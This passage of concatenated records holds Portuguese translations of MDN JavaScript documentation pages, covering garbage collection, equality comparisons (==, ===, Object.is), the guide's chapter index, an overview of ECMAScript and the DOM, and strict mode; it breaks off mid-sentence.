que não tem referência\" leva a esse objeto inacessível. O oposto não é verdadeiro como nós vimos com os ciclos.\n\nA partir de 2012, todos os navegadores modernos vem com um coletor com varredura e rotulação. Todas as melhorias feitas nessa área do coletor do JavaScript (geracional/incremental/concorrência/coletor paralelo) nos últimos anos são implementações melhoradas deste algoritmo, mas não melhorias para o coletor propriamente nem a redução da definição de quando \"um objeto não é mais necessário\".\n\n#### Ciclos não são mais um problema\n\nNo primeiro exemplo, depois do retorno da chamada da função, os 2 objetos não são mais referenciados por algo acessível pelo objeto global. Consequentemente, eles não serão acessíveis pelo coletor.\n\nA mesma coisa acontece com o segundo exemplo. Uma vez que o div e o seu gerenciador de eventos se tornem inacessíveis pelos roots, ambos podem ser coletados, apesar de referenciar um ao outro.\n\n#### Limitação: objetos devem ser feitos explicitamente inacessíveis\n\nApesar disso ser marcado como uma limitação, isso é algo raro na prática e é por isso que ninguém se importa muito sobre o coletor.\n\nVeja também\n-----------\n\n* IBM article on \"Memory leak patterns in JavaScript\" (2007)\n* Kangax article on how to register event handler and avoid memory leaks (2010)\n* Performance"}
{"title":"Comparações de igualdade e uniformidade - JavaScript","text":"Comparações de igualdade e uniformidade\n=======================================\n\nJavaScript fornece três diferentes operações de comparação de valores:\n\n* igualdade estrita (ou \"três iguais\" ou \"identidade\") usando === (en-US),\n* igualdade ampla (\"dois iguais\") usando == (en-US),\n* e `Object.is` (novo no ECMAScript 6).\n\nA escolha de qual operação usar depende da ordem de comparação que você está procurando executar.\n\nEm resumo, dois iguais irá realizar uma conversão de tipo ao comparar duas coisas; três iguais irá fazer a mesma comparação, sem conversão de tipo (simplesmente retornando false se os tipos forem diferentes); e `Object.is` irá se comportar da mesma forma que três iguais, mas com tratamento especial para `NaN` e `-0` e `+0` de modo que os dois últimos não são referidos como sendo o mesmo, enquanto `Object.is(NaN, NaN)` será `true`. (Comparando `NaN` com `NaN` ordinariamente - ou seja, usando tanto iguais duplo ou iguais triplo - avalia como `false`, porque IEEE 754 diz isso.) Note que a distinção entre todos eles têm a ver com seu manuseio dos primitivos; nenhum deles compara se os parâmetros são conceitualmente semelhante em estrutura. Para qualquer objetos não-primitivo x e y que têm a mesma estrutura, mas são objetos distintos entre si, todas as formas acima será avaliada como falsa.\n\nIgualdade estrita usando `===`\n------------------------------\n\nIgualdade estrita compara dois valores para a igualdade. Nenhum valor é convertido implicitamente para algum outro valor antes de serem comparados. Se os valores tem tipos diferentes, os valores são considerados não-iguais. Caso contrário, se os valores têm o mesmo tipo e não são números, eles são considerados iguais, se tiverem o mesmo valor. Finalmente, se ambos os valores são números, eles são considerados iguais se ambos não são `NaN` e são do mesmo valor, ou se um é `+0` e outro é `-0`.\n\n\n```js\nvar num = 0;\nvar obj = new String(\"0\");\nvar str = \"0\";\n\nconsole.log(num === num); // true\nconsole.log(obj === obj); // true\nconsole.log(str === str); // true\n\nconsole.log(num === obj); // false\nconsole.log(num === str); // false\nconsole.log(obj === str); // false\nconsole.log(null === undefined); // false\nconsole.log(obj === null); // false\nconsole.log(obj === undefined); // false\n```\n\n\nIgualdade estrita é quase sempre a operação de comparação correta a se usar. Para todos os valores, exceto os números, ele usa a semântica óbvia: um valor é apenas igual a ele mesmo. Para os números que ele usa uma semântica ligeiramente diferente para encobrir dois casos extremamente diferentes. A primeira é que o zero de ponto flutuante é positiva ou negativamente assinada. Isso é útil em representar certas soluções matemáticas, mas como a maioria das situações não se preocupam com a diferença entre `+0` e `-0`, igualdade estrita trata-os como o mesmo valor. A segunda é que ponto flutuante inclui o conceito de um valor não-numérico, `NaN`, para representar a solução para certos problemas matemáticos mal definidos: infinito negativo adicionado ao infinito positivo, por exemplo. Igualdade estrita trata `NaN` como desigual a qualquer outro valor - incluindo o próprio. (O único caso em que `(x! == X)` é `true` é quando `x` é `NaN`.)\n\nIgualdade ampla usando ==\n-------------------------\n\nIgualdade ampla compara dois valores para a igualdade, *após* converter ambos os valores para um tipo comum. Após as conversões (um ou ambos os lados podem sofrer conversões), a comparação de igualdade final é realizada exatamente como `===` executa. Igualdade ampla é *simétrica*: `A == B` sempre tem semântica idêntica à `B == A` para quaisquer valores de `A` e `B`.\n\nA comparação de igualdade é realizado da seguinte forma para os operandos dos vários tipos:\n\n|  | `Operand B` |\n| --- | --- |\n|  |  | Undefined | Null | Number | String | Boolean | Object |\n| Operand A | Undefined | `true` | `true` | `false` | `false` | `false` | `IsFalsy(B)` |\n| Null | `true` | `true` | `false` | `false` | `false` | `IsFalsy(B)` |\n| Number | `false` | `false` | `A === B` | `A === ToNumber(B)` | `ToNumber(B) === A` | `ToPrimitive(B) == A` |\n| String | `false` | `false` | `B === ToNumber(A)` | `A === B` | `ToNumber(A) === ToNumber(B)` | `ToPrimitive(B) == A` |\n| Boolean | `false` | `false` | `ToNumber(A) === B` | `ToNumber(A) === ToNumber(B)` | `A === B` | `false` |\n| Object | `IsFalsy(A)` | `IsFalsy(A)` | `ToPrimitive(A) == B` | `ToPrimitive(A) == B` | `false` | `A === B` |\n\nNa tabela acima, `ToNumber(A)` tenta converter seu argumento para um número antes de comparação. Seu comportamento é equivalente a `+A` (o operador + unário). `ToPrimitive(A)` tenta converter seu argumento de objeto para um valor primitivo, tentando invocar sequências diferentes de `A.toString` e `A.valueOf` métodos em `A`.\n\nTradicionalmente, e de acordo com ECMAScript, todos os objetos são amplamente desiguais a `undefined` e `null`. Mas a maioria dos navegadores permitem uma classe muito limitada de objetos (especificamente, o objeto `document.all` para qualquer página), em alguns contextos, para agir como se eles *emulassem* o valor `undefined`. Igualdade ampla é um desses contexto. Portanto, o método `IsFalsy(A)` é avaliada como verdadeira se, e somente se, A for um objeto que *emula* `undefined`. Em todos os outros casos, um objeto não é amplamente igual a `undefined` ou `null`.\n\n\n```js\nvar num = 0;\nvar obj = new String(\"0\");\nvar str = \"0\";\n\nconsole.log(num == num); // true\nconsole.log(obj == obj); // true\nconsole.log(str == str); // true\n\nconsole.log(num == obj); // true\nconsole.log(num == str); // true\nconsole.log(obj == str); // true\nconsole.log(null == undefined); // true\n\n// both false, except in rare cases\nconsole.log(obj == null);\nconsole.log(obj == undefined);\n```\n\n\nAlguns desenvolvedores consideram que nunca é uma boa idéia, praticamente, usar a igualdade ampla. O resultado de uma comparação usando a igualdade estrita é mais fácil de prever, e como nenhum tipo de coerção ocorre, a avaliação pode ser mais rápida.\n\nIgualdade de mesmo valor\n------------------------\n\nIgualdade de mesmo valor aborda um caso de uso final: determinar se dois valores são *funcionalmente idêntico* em todos os contextos. (Este caso de uso demonstra uma instância de Liskove substitution principle. Princípio de substituição de Liskove.) Uma instância ocorre quando é feita uma tentativa de transformar uma propriedade imutável:\n\n\n```js\n// Add an immutable NEGATIVE\\_ZERO property to the Number constructor.\nObject.defineProperty(Number, \"NEGATIVE\\_ZERO\", {\n  value: -0,\n  writable: false,\n  configurable: false,\n  enumerable: false,\n});\n\nfunction attemptMutation(v) {\n  Object.defineProperty(Number, \"NEGATIVE\\_ZERO\", { value: v });\n}\n```\n\n\n`Object.defineProperty` irá disparar uma exceção ao tentar alterar uma propriedade imutável que realmente iria alterá-lo, mas ele não faz nada se nenhuma mudança real for solicitada. Se `v` for `-0`, nenhuma mudança foi solicitada, e nenhum erro será disparado. Mas se `v` for `+0`, `Number.NEGATIVE_ZERO` não teria mais o seu valor imutável. Internamente, quando uma propriedade imutável é redefinida, o valor recém-especificado é comparado com o valor atual usando a igualdade de mesmo valor.\n\nIgualdade de mesmo valor é fornecida pelo método `Object.is.`\n\nIgualdade abstrata, igualdade estrita, e de mesmo valor na especificação\n------------------------------------------------------------------------\n\nNo ES5, a comparação efetuada por `==` é descrita em Seção 11.9.3, O Algoritmo da Igualdade Abstrata. A comparação `===` está em 11.9.6, O Algoritmo de Igualdade Estrita. (Veja estes. Eles são breve e legível. Dica: leia o algoritmo de igualdade estrita primeiro.) ES5 também descreve, em Seção 9.12, o Algoritmo de Mesmo Valor para uso internamente pelo motor de JS. É em grande parte o mesmo que o Algoritmo de Igualdade Estrita, exceto que 11.9.6.4 e 9.12.4 diferem em manipulação do `Number`. ES6 simplesmente se propõe a expor este algoritmo através de `Object.is`.\n\nPodemos ver que com iguais duplos e triplos, com exceção de fazer uma verificação de tipo inicial 11.9.6.1, o Algoritmo de Igualdade Estrita é um subconjunto do Algoritmo Igualdade Abstrata, porque 11.9.6.2-7 correspondem a 11.9.3.1.a -f.\n\nUm modelo para a compreensão comparações de igualdade?\n------------------------------------------------------\n\nAntes do ES6, você poderia dizer, de iguais duplos e iguais triplos, que um é uma versão \"melhorada\" do outro. Por exemplo, alguém poderia dizer que dois iguais é uma versão estendida de três iguais, porque o anterior faz tudo o que este último faz, mas com conversão de tipo nos seus operandos. Por exemplo, 6 == \"6\". (Alternativamente, alguém poderia dizer que dois iguais é a linha de base, e três iguais são uma versão melhorada, porque requer dois operandos para ser do mesmo tipo, por isso adiciona uma restrição extra. Qual deles é o melhor modelo para compreensão depende como você optar por ver as coisas.)\n\nNo entanto, esta forma de pensar sobre os operadores de igualdade embutida não é um modelo que pode ser esticado para permitir um lugar para Object.is de ES6 neste \"espectro\". Object.is não é simplesmente \"mais frouxo\" que dois iguais ou \"mais rigorosa\" do que três iguais, nem se encaixa em algum lugar entre eles (ex: sendo tanto mais rigorosas que dois iguais, mas mais flexível do que três iguais). Podemos ver a partir da tabela de comparações de igualdade abaixo que isto é devido à forma que Object.is manipula NaN. Observe que, se Object.is(NaN, NaN) avalia como false, nós *poderiamos* dizer que ele se encaixa no espectro amplo/estrito como um forma ainda mais rigorosa das três iguais, um que distingue entre -0 e +0. A manipulação do NaN significa que este é não-verdadeiro, entretanto. Infelizmente, Object.is simplesmente tem que ser pensado em termos de suas características específicas, ao invés de sua amplitude ou rigorosidade no que diz respeito aos operadores de igualdade.\n\n| x | y | == | === | Object.is |\n| --- | --- | --- | --- | --- |\n| `undefined` | `undefined` | `true` | `true` | `true` |\n| `null` | `null` | `true` | `true` | `true` |\n| `true` | `true` | `true` | `true` | `true` |\n| `false` | `false` | `true` | `true` | `true` |\n| `\"foo\"` | `\"foo\"` | `true` | `true` | `true` |\n| `{ foo: \"bar\" }` | `x` | `true` | `true` | `true` |\n| `0` | `0` | `true` | `true` | `true` |\n| `+0` | `-0` | `true` | `true` | `false` |\n| `0` | `false` | `true` | `false` | `false` |\n| `\"\"` | `false` | `true` | `false` | `false` |\n| `\"\"` | `0` | `true` | `false` | `false` |\n| `\"0\"` | `0` | `true` | `false` | `false` |\n| `\"17\"` | `17` | `true` | `false` | `false` |\n| `[1,2]` | `\"1,2\"` | `true` | `false` | `false` |\n| `new String(\"foo\")` | `\"foo\"` | `true` | `false` | `false` |\n| `null` | `undefined` | `true` | `false` | `false` |\n| `null` | `false` | `false` | `false` | `false` |\n| `undefined` | `false` | `false` | `false` | `false` |\n| `{ foo: \"bar\" }` | `{ foo: \"bar\" }` | `false` | `false` | `false` |\n| `new String(\"foo\")` | `new String(\"foo\")` | `false` | `false` | `false` |\n| `0` | `null` | `false` | `false` | `false` |\n| `0` | `NaN` | `false` | `false` | `false` |\n| `\"foo\"` | `NaN` | `false` | `false` | `false` |\n| `NaN` | `NaN` | `false` | `false` | `true` |\n\nQuando usar `Object.is` ao invés de três iguais\n-----------------------------------------------\n\nAlém da forma como trata `NaN`, geralmente, a única vez que o comportamento especial do Object.is em direção a zeros é provável que seja interessante é na busca de determinados regimes de meta-programação, especialmente em relação a descritores de propriedade quando é desejável para o seu trabalho para espelhar algumas das características de Object.defineProperty. Se o seu caso de uso não exige isso, sugere-se a evitar Object.is e usar === (en-US) em vez disso. Mesmo se suas exigências envolvem comparações entre dois valores NaN avaliarem para true, geralmente é mais fácil para caso especial o NaN checar (usando o isNaN método disponível a partir de versões anteriores do ECMAScript) do que descobrir como cálculos circundantes podem afetar o sinal de todos os zeros que você encontra em sua comparação.\n\nAqui está uma lista exaustiva de métodos e operadores integrados que pode causar uma distinção entre -0 e +0 a manifestar-se em seu código:\n\n`- (negação unário)` (en-US)\n\nÉ óbvio que negando 0 produz -0. Mas a abstração de uma expressão pode causar -0 a fluência em quanto você não percebe isso. Por exemplo, considere:\n\n\n```js\nlet stoppingForce = obj.mass \\* -obj.velocity;\n```\n\n\nIf obj.velocity is 0 (ou calcula para 0), um -0 é introduzido naquele lugar e propaga-se em stoppingForce.\n\n`Math.atan2`\n\n`Math.ceil`\n\n`Math.pow`\n\n`Math.round`\n\nÉ possível que um -0 para ser introduzido em uma expressão como um valor de retorno desses métodos, em alguns casos, mesmo quando nenhum -0 exista como um dos parâmetros. Por exemplo, usando Math.pow para levantar -Infinity a potência de qualquer número, expoente ímpar negativo avaliada como -0. Consulte a documentação para os métodos individuais.\n\n`Math.floor`\n\n`Math.max`\n\n`Math.min`\n\n`Math.sin`\n\n`Math.sqrt`\n\n`Math.tan`\n\nÉ possível obter um -0 valor de retorno para fora destes métodos em alguns casos em que um -0 existe como um dos parâmetros. Por exemplo, `Math.min(-0, +0)` resulte em -0. Consulte a documentação para os métodos individuais.\n\n~ (en-US)\n\n<< (en-US)\n\n>> (en-US)\n\nCada um destes operadores usa o algoritmo ToInt32 internamente. Uma vez que existe apenas uma representação para 0 no tipo integer de 32 bits interno, -0 não vai sobreviver a uma ida e volta após uma operação inversa. Por exemplo, tanto `Object.is(~~(-0), -0)` e `Object.is(-0 << 2 >> 2, -0)` avaliar como `false`.\n\nBaseando-se em `Object.is` quando a sinalização de zeros não é levado em conta podem ser perigosos. Claro que, quando a intenção é fazer a distinção entre `-0` e `+0`, isso faz exatamente o que é desejado.\n\nVeja também\n-----------\n\n* Tabela de Comparação JS"}
{"title":"Guia JavaScript - JavaScript","text":"Guia JavaScript\n===============\n\nO Guia JavaScript mostra como usar JavaScript e dá uma visão geral da linguagem. Se você quer começar com JavaScript ou programação em geral, consulte os artigos na área de aprendizagem. Se você precisar de informações mais aprofundadas sobre algum recurso da linguagem, consulte a referência JavaScript.\n\nCapítulos\n---------\n\nEste guia está dividido em vários capítulos:\n\n* Introdução\nSobre este guia\nSobre JavaScript\nJavaScript e Java\nECMAScript\nFerramentas\nOlá Mundo\n* Sintaxe e tipos\nSintaxe básica e comentários\nDeclarações\nEscopo de variável\nHoisting\nEstruturas de dados e Tipos\nLiterais\n* Controle de fluxo e manipulação de erro\n`if...else`\n`switch`\n`try`/`catch`/`throw`\nObjetos de erro\nPromises\n* Laços e iteração\n`for while do...while break/continue for..in for..of`\n* Funções\nDefinição de funções\nChamando funções\nEscopo da função\nClosures\nArgumentos & parâmetros\nFunções de seta\n* Expressões e operadores\nAtribuição & comparações\nOperadores aritméticos\nOperadores lógicos & bit a bit\nOperador condicional (Ternário)\n* Números e datas\nNúmeros\nObjeto de números\nObjeto Math\nObjeto Data\n* Formatação de texto\nStrings\nObjetos de strings\nModelos de strings\nInternacionalização\n* Expressões Regular\nCriando uma expressão regular\nPadrão de escrita de uma expressão regular\nTrabalhando com expressões regular\n* Coleções Indexadas\nArrays\nArrays digitados\n* Coleções Chaveadas\nMaps\nWeakMaps\nSet\nWeakSet\n* Trabalhando com objetos\nObjetos e propriedades\nCriando Objetos\nDefinindo Métodos\nGetter e setter\n* Detalhes do modelo de objetos\nPOO baseada na prototipagem\nCriando hierarquias de objetos\nHerança\n* Iteradores e geradores\nIterators\nIterables\nGenerators\n* Meta programação\n`Proxy`\nHandlers e traps\nProxy revogável\n`Refletor`\n* Next »"}
{"title":"Visão geral das tecnologias JavaScript - JavaScript","text":"Visão geral das tecnologias JavaScript\n======================================\n\nEnquanto o HTML é usado para armazenar o conteúdo e a formatação de uma página web e o CSS define a formatação e a aparência, o JavaScript é usado para adicionar interatividade a uma página web e criar aplicações web ricas.\n\nNo entanto, o termo genérico \"JavaScript\" tal como é entendido no contexto do navegador contém vários elementos bem diferentes. Um deles é a linguagem principal (ECMAScript), outra é a coleção das Web APIs (en-US), incluindo o DOM (Document Object Model).\n\nJavaScript, a linguagem principal (ECMAScript)\n----------------------------------------------\n\nO núcleo da linguagem JavaScript é padronizado pelo comitê ECMA TC39 como uma linguagem chamada ECMAScript (en-US). A última versão da especificação é ECMAScript 5.1.\n\nEste núcleo da linguagem é também usado em ambientes fora do navegador, por exemplo em node.js.\n\n### O que se enquadra no escopo ECMAScript?\n\nEntre outras coisas, o ECMAScript define:\n\n* A sintaxe da linguagem (regras de análise, palavras-chave, controle de fluxo, inicialização de objetos literais...)\n* Mecanismos para manuseio de erros (`throw`, `try...catch`, habilidade para criar tipos de `Error` definido pelo usuário)\n* Tipos (*boolean*, *number*, *string*, *function*, *object*...)\n* O objeto global. Num navegador esse objeto global é o objeto *window*, mas o ECMAScript apenas define as APIs, não especificamente para navegadores, por exemplo: *parseInt*, *parseFloat*, *decodeURI*, *encodeURI*...\n* Um mecanismo de herança baseado em protótipo\n* Objetos e funções embutidas (`JSON`, `Math`, Array, *Object introspection*...)\n* Modo estrito (rigoroso)\n### Suporte do navegador\n\nDesde Agosto de 2014, as atuais versões dos principais navegadores implementaram o ECMAScript 5.1 e o ECMAScript 2015, mas versões mais antigas continuam usando a implementação do ECMAScript 3 e apenas partes do ECMAScript 5. Navegadores mais modernos já implementaram grande parte do ECMAScript 6.\n\n### Futuro\n\nA 6ª edição principal do ECMAScript foi oficialmente aprovada e publicada como norma em 17 de junho de 2015 pela Assembléia Geral da ECMA. Desde então, as Edições ECMAScript são publicadas anualmente.\n\n### API de Internacionalização\n\nA API de Especificação de Internacionalização do ECMASCRIPT é uma adição para a Especificação de Linguagem ECMAScript, também padronizada pela Ecma TC39. A API de internacionalização fornece intercalação (comparação de string), formatação numérica, formatação de data e tempo para aplicações JavaScript, permitindo que aplicativos escolham o idioma e adaptem a funcionalidade às suas necessidades. O padrão foi aprovado em dezembro de 2012; O status das implementações nos navegadores é rastreado na documentação do objeto Intl. A especificação de Internacionalização hoje em dia também é ratificada anualmente e os navegadores aprimoram as suas implementações constantemente.\n\nAs APIs Web e o DOM\n-------------------\n\n### WebIDL\n\nA Especificação da WebIDL provê a junção entre as tecnologias DOM e o ECMAScript.\n\n### O núcleo do DOM\n\nO Document Object Model (DOM) é uma **convenção multiplataforma** e **lndependente de linguagem** para representação e interação com objetos em documentos HTML, XHTML, e XML. Objetos no **DOM tree** (árvore do DOM) podem ser adereçados e manipulados utilizando métodos em objetos. A W3C padroniza o Core Document Object Model (Núcleo do Documento do Modelo de Objeto), o qual define interfaces de agnóstico de linguagem que abstraem documentos HTML e XML como objetos, e também define mecanismos para manipular essa abstração. Entre as definições do DOM, podemos encontrar:\n\n* A estrutura do documento, um tree model (modelo de árvore), e a arquitetura do DOM Event (Evento do DOM) no DOM core (núceo do DOM): `Node`, `Element`, `DocumentFragment`, `Document`, `DOMImplementation` (en-US), `Event`, `EventTarget`, …\n* Uma definição menos rigorosa do DOM Event Architecture, assim como eventos específicos no DOM events.\n* Outras coisas como o DOM Traversal e o DOM Range.\n\nPela perspectiva do EXMScript, objetos definidos na especificação do DOM são chamados de \"host objects\".\n\n### HTML DOM\n\nHTML, a linguagem de marcação da Web, é especificada nos termos do DOM. Situado além dos conceitos de abstração definidos no DOM Core, o HTML também define o *significado* dos elementos. O HTML DOM inclui coisas como a propriedade `className` em elementos HTML, ou APIs como `document.body`.\n\nA especificação HTML também define restrições nos objetos; por exemplo, ela requer que todos os filhos de um elemento `ul`, que representam uma lista desordenada, sejam elementos `li`, que representem itens de lista. Em linhas gerais, ele também proíbe o uso de elementos e atributos que não estão definidos em um padrão.\n\nProcurando pelo `Document` object, `Window` object, e outros elementos DOM? Leia a Documentação do DOM.\n\nOutras APIs de destaque\n-----------------------\n\n* As funções `setTimeout` (en-US) e `setInterval` foram inicialmente especificadas na interface `Window` no Padrão HTML.\n* XMLHttpRequest. Possibilita enviar requisições HTTP assíncronas.\n* A Fetch API fornece uma abstração mais ergonômica para requisições de rede.\n* CSS Object Model. O CSSOM é utilizado para abstrair regras CSS como objetos\n* WebWorkers. API que permite computação paralela.\n* WebSockets. API que permite comunicação bi-direcional de baixo-nível.\n* Canvas 2D Context. API de ilustração (desenho) para o elemento canvas.\n* A interface WebAssembly fornece utilitários para comunicação entre código JavaScript e módulos WebAssembly.\n\nAmbientes sem navegador (como Node.js) geralmente não têm APIs DOM — porque não interagem com um documento — mas ainda assim implementam muitas APIs da Web, como `fetch()` e `setTimeout()` (en-US).\n\n### Suporte de Navegadores\n\nTodo desenvolvedor já percebeu que o DOM é uma bagunça. A uniformidade no suporte dos Navegadores varia muito de feature para feature. A principal razão para essa situação é o fato de que muitas features importantes do DOM possuem (quando possuem) especificações não muito claras. Além disso, diferentes Navegadores adicionaram features incompatíveis para a sobreposição de casos de uso (como o event model do Internet Explorer). A atual (Junho de 2011) tendência é que a W3C e particularmente a WHATWG estão definindo features mais antigas em detalhes, a fim de melhorar a interoperabilidade. Seguindo esta tendência, Navegadores estão melhorando suas implementações baseados nessas especificações.\n\nUma abordagem comum, porém não a mais confiável, para compatibilidade cross-browser é utilizar a biblioteca JavaScript. Essas bibliotecas abstrem as features do DOM e garantem que suas API's funcionem de forma similar nos navegadores. Alguns dos frameworks mais utilizados são o jQuery, o prototype, e o YUI."}
{"title":"Strict mode - JavaScript","text":"Strict mode\n===========\n\nO **strict mode** do ECMAScript 5 é uma forma de *optar* por uma variante restrita do JavaScript. O strict mode não é apenas um subconjunto: ele *intencionalmente* tem semânticas diferentes do código normal. Navegadores que não suportam strict mode executarão código strict mode com um comportamento diferente dos navegadores que suportam, então não confie no strict mode sem testar o suporte a funcionalidades dos aspectos relevantes do strict mode. Código strict mode e código não-strict mode podem coexistir, então scripts podem optar pelo strict mode incrementalmente.\n\nO strict mode faz várias mudanças nas semânticas normais do JavaScript. Primeiro, o strict mode elimina alguns erros silenciosos do JavaScript fazendo-os lançar exceções. Segundo, o strict mode evita equívocos que dificultam que motores JavaScript realizem otimizações: código strict mode pode às vezes ser feito para executar mais rápido que código idêntico não-strict mode. Terceiro, strict mode proíbe algumas sintaxes que provavelmente serão definidas em versões futuras do ECMAScript.\n\nVeja transitioning to strict mode (en-US) se você quer mudar seu código para funcionar na variante restrita do JavaScript.\n\nInvocando strict mode\n---------------------\n\nStrict mode se aplica a *scripts* inteiros ou *funções individuais*. Ele não se aplica a declarações de bloco fechadas em chaves `{}`; tentar aplicá-lo a tais contextos não faz nada. Código `eval`, código `Function`, atributos *event handlers*, strings passadas para `setTimeout` (en-US) e coisas do tipo são scripts inteiros, e invocar strict mode neles funciona como esperado.\n\n### Strict mode para scripts\n\nPara invocar strict mode para um script inteiro, coloque *exatamente* a declaração `\"use strict\";` (ou `'use strict';`) antes de qualquer outra declaração.\n\n\n```js\n// Sintaxe strict mode para todo o script\n\"use strict\";\nvar v = \"Oi! Eu sou um script strict mode!\";\n```\n\n\nEssa sintaxe tem uma armadilha que já pegou um site grande: não é possível concatenar cegamente scripts não-conflitantes. Considere concatenar um script strict mode com um script não-strict mode: a concatenação inteira parece strict! O inverso também é verdade: não-strict mais strict parece não-strict. Concatenar scripts strict mode com outros é bom, e concatenar scripts não-strict mode é bom. Simplesmente concatenar scripts strict e não-strict é problemático. Portanto é recomendado que você ative strict mode função-por-função (pelo menos durante o período de transição).\n\nVocê também pode usar a abordagem de embrulhar o conteúdo inteiro de um script em uma função e fazer a função externa usar strict mode. Isto elimina o problema da concatenação, mas significa que você tem que exportar explicitamente quaisquer variáveis globais fora do escopo da função.\n\n### Strict mode para funções\n\nDa mesma forma, para invocar strict mode para uma função, coloque *exatamente* a declaração `\"use strict\";` (ou `'use strict';`) no corpo da função antes de qualquer outra declaração.\n\n\n```js\nfunction strict() {\n  // Sintaxe strict mode a nível de função\n  \"use strict\";\n  function nested() {\n    return \"E eu também!\";\n  }\n  return \"Oi! Eu sou uma função strict mode! \" + nested();\n}\nfunction notStrict() {\n  return \"Eu não sou strict.\";\n}\n```\n\nMudanças no strict mode\n-----------------------\n\nStrict mode muda tanto a sintaxe quando o comportamento em tempo de execução. Mudanças geralmente se encaixam em uma destas categorias: mudanças que convertem equívocos em erros (como erros de sintaxe ou em tempo de execução), mudanças que simplificam como uma variável particular para um dado uso de um nome é computada, mudanças que simplificam `eval` e `arguments`, mudanças que facilitam JavaScript \"seguro\", e mudanças que antecipam a evolução futura do ECMAScript.\n\n### Convertendo equívocos em erros\n\nStrict mode transforma em erros alguns equívocos anteriormente aceitos. O JavaScript foi projetado para ser fácil para novos desenvolvedores, e algumas vezes ele dá semânticas de não-erros a operações que deveriam ser erros. Algumas vezes isso resolve o problema pontual, mas outras vezes cria problemas piores no futuro. Strict mode trata esses equívocos como erros para que sejam descobertos e consertados prontamente.\n\nPrimeiro, o strict mode impossibilita criar variáveis globais acidentalmente. Em JavaScript normal, cometer um erro de digitação ao digitar uma variável em uma atribuição cria uma nova propriedade no objeto global e continua a \"funcionar\" (embora falhas futuras sejam possíveis: provavelmente, em JavaScript moderno). Atribuições que acidentalmente criariam variáveis globais lançam exceções em vez disso no strict mode:\n\n\n```js\n\"use strict\";\n// Assumindo que uma variável global variavelErrada existe\nvariavellErrada = 17; // esta linha lança ReferenceError por conta do\n// erro de digitação da variável\n```\n\n\nSegundo, strict mode faz com que atribuições que outrora falhariam silenciosamente lançar uma exceção. Por exemplo, `NaN` é uma variável global não-atribuível. Em código normal, atribuir a `NaN` não faz nada; o desenvolvedor não recebe qualquer resposta de falha. No strict mode, atribuir a `NaN` lança uma exceção. Qualquer atribuição que falha silenciosamente em código normal (atribuir a uma propriedade não-atribuível, atribuir a uma propriedade getter-only, atribuir a uma propriedade de um objeto não-extensível) lançarão exceções em strict mode:\n\n\n```js\n\"use strict\";\n\n// Atribuir a uma propriedade não-atribuível\nvar obj1 = {};\nObject.defineProperty(obj1, \"x\", { value: 42, writable: false });\nobj1.x = 9; // lança TypeError\n\n// Atribuir a uma propriedade getter-only\nvar obj2 = {\n  get x() {\n    return 17;\n  },\n};\nobj2.x = 5; // lança TypeError\n\n// Atribuir a uma nova propriedade de um objeto não-extensível\nvar fixed = {};\nObject.preventExtensions(fixed);\nfixed.newProp = \"ohai\"; // lança TypeError\n```\n\n\nTerceiro, strict mode faz com que tentativas de deletar propriedades não-deletáveis lancem exceções (onde anteriormente a tentativa simplesmente não faria efeito):\n\n\n```js\n\"use strict\";\ndelete Object.prototype; // lança TypeError\n```\n\n\nQuarto, strict mode anterior ao Gecko 34 requer que todas as propriedades nomeadas em um objeto literal sejam únicas. Código normal pode duplicar nomes de propriedades, sendo que a última ocorrência determina o valor da propriedade. Mas como apenas o último faz algo, a duplicação é meramente um vetor de bugs, se o código for modificado para mudar o valor da propriedade por outro meio que não modificando a última instância. Nomes de propriedades duplicados são erro de sintaxe em strict mode:\n\n**Nota:** Não é mais o caso no ECMAScript 6 (Erro do Firefox 1041128).\n\n\n```js\n\"use strict\";\nvar o = { p: 1, p: 2 }; // !!! erro de sintaxe\n```\n\n\nQuinto, strict mode exige que nomes de parâmetros de função sejam únicos. Em código normal, o último argumento duplicado esconde argumentos anteriores com nome semelhante. Estes argumentos anteriores continuam disponíveis através de `arguments[i]`**,** portanto não são completamente inacessíveis. Entretanto, esta ocultação faz pouco sentido e provavelmente é indesejável (pode esconder um erro de digitação, por exemplo), então em strict mode nomes de argumentos duplicados são erro de sintaxe:\n\n\n```js\nfunction sum(a, a, c) {\n  // !!! erro de sintaxe\n  \"use strict\";\n  return a + b + c; // errado se este código executasse\n}\n```\n\n\nSexto, strict mode em ECMAScript 5 proíbe sintaxe octal. Sintaxe ocatal não é parte do ECMAScript 5, mas é suportado em todos os navegadores prefixando o número octal com um zero: `0644 === 420` e `\"\\045\" === \"%\"`. No ECMAScript 6, número octal é suportado prefixando um número com \"`0o`\":\n\n\n```js\nvar a = 0o10; // ES6: Octal\n```\n\n\nNovos desenvolvedores algumas vezes acham que um prefixo zero não tem significado semântico, então eles o utilizam como mecanismo de alinhamento — mas isso muda o significado do número! Sintaxe octal é raramente útil e pode ser usada equivocadamente, então o strict mode torna octal erro de sintaxe:\n\n\n```js\n\"use strict\";\nvar sum =\n  015 + // !!! erro de sintaxe\n  197 +\n  142;\n```\n\n\nSétimo, strict mode em ECMAScript 6 proíbe definir propriedades em valores primitivos. Sem strict mode, definir uma propriedade é simplesmente ignorado; com strict mode, no entanto, um `TypeError` é lançado.\n\n\n```js\n(function () {\n  \"use strict\";\n\n  false.true = \"\"; // TypeError\n  (14).navegandoPara = \"casa\"; // TypeError\n  \"com\".voce = \"distante\"; // TypeError\n})();\n```\n\n### Simplificando usos de variáveis\n\nStrict mode simplifica como nomes de variáveis se mapeiam a definições de variáveis particulares no código. Muitas otimizações de compiladores dependem da habilidade de dizer que variável *X* está guardada *naquele* local; isto é crítico para otimizar completamente o código JavaScript. JavaScript às vezes torna este mapeamento básico de nome para definição de variável no código impossível de executar até o tempo de execução. Strict mode remove a maioria dos casos onde isso acontece, então o compilador pode otimizar melhor código strict mode.\n\nPrimeiro, strict mode proíbe `with`. O problema com `with` é que qualquer nome dentro do block pode mapear tanto para uma propriedade do objeto passado quanto para uma variável no escopo envolvente (ou até global), em tempo de execução: é impossível saber qual de antemão. Strict mode torna `with` um erro de sintaxe, então não há chance de um nome em um `with` referir-re a uma localização deconhecida em tempo de execução:\n\n\n```js\n\"use strict\";\nvar x = 17;\nwith (obj) {\n  // !!! erro de sintaxe\n  // Se isto não fosse strict mode, isso seria var x ou obj.x?\n  // No geral, é impossível saber sem executar o código, então\n  // o nome não pode ser otimizado.\n  x;\n}\n```\n\n\nA alternativa simples de atribuir o objeto a uma variável de nome curto, e então acessar a propriedade correspondente naquela variável, está pronta para substituir `with`.\n\nSegundo, eval de código strict mode não introduz novas variáves no escopo envolvente. Em código normal, `eval(\"var x;\")` introduz uma variável `x` na função envolvente ou no 